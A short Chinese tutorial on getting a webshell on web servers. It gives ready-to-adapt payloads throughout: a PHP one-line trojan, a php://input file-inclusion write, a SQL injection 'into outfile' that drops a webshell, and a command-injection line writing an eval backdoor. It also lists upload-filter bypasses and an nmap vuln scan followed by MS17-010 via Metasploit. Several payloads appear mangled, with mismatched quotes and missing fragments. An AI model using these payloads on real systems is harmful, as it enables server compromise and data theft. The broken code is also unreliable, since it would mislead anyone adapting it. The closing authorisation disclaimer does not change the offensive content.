授人以鱼,不如授人以渔
1.执行终端命令
2.文件管理(增删改查)
3.数据库管理(增删改查,前提找到root用户密码)
网站有上传点,最容易getshell。
直接上传一个一句话木马,然后使用webshell管理工具,就能成功getshell
如果web应用对上传的文件进行过滤,要想办法绕过,如前端js绕过
,MIME验证绕过
,黑名单绕过
,大小写绕过
,双写绕过
,00截断
,利用web容器的解析漏洞绕过
等等,这里就不一一列举了
利用文件包含漏洞,输入php://input伪协议,进行写入一句话木马
<?php fputs(fopen('muma1.php','w'),'$_REQUEST["pass"]);?>');?>
因为文件包含会解析php
所以当执行了这个脚本,会在目标服务器创建一个muma1.php的一句话木马
直接连接我们创建的木马,即可getshell
前提
1.secure_file_priv为空
2.当前数据库用户具有文件读写权限
3.魔术引号关闭
4.知道网站根目录路径
@@basedir 知道它的数据库根目录,去推测其web根目录
然后将木马导出到web根目录中
-1' union select 1,2,"$_REQUEST['pass']);?>" into outfile "C:/phpstudy_pro/WWW/muma2.php"%23
利用操作系统内核溢出漏洞getshell
服务器ip(攻击者可以使用ping 域名获取,有CDN先绕过)
然后攻击者使用nmap NSE查看服务器的存在的漏洞
sudo nmap --script vuln -T 4 192.168.208.131
这里找到了两个漏洞,这里最有价值的是ms17-010(永恒之蓝)这个漏洞,因为可以RCE
接着就可以使用metasploit里的exp进行getshell了
这里的meterpreter就是一个shell,而且功能还十分强大,有兴趣可以自行了解
当我们提交的数据被服务器当作终端命令执行的时候,其实已经getshell了,因为我们可以可以输入各种各样的终端命令,达到文件管理,用户管理等目的。
但这里还是演示下,当web应用有个RCE的其中一个利用方法
12 & echo "I am a horse";@eval($_REQUEST["pass"]);?>" > F:\phpstudy_pro\WWW\muma3.php
使用cmd命令写入一个一句话木马到web根目录
还有些cms,web容器,操作系统旧版本有RCE漏洞,直接利用就完事了,像之前很火的Apache log4j2漏洞也有RCE漏洞,总之服务器有RCE漏洞,就差不多相当于是自己的服务器了。
以上就是我目前了解到的getshell方法,最好是在已授权的情况下测试或者在自己搭建的环境测试,不然可能会被查水表,日志里都记录了你干了啥,所以自己衡量吧。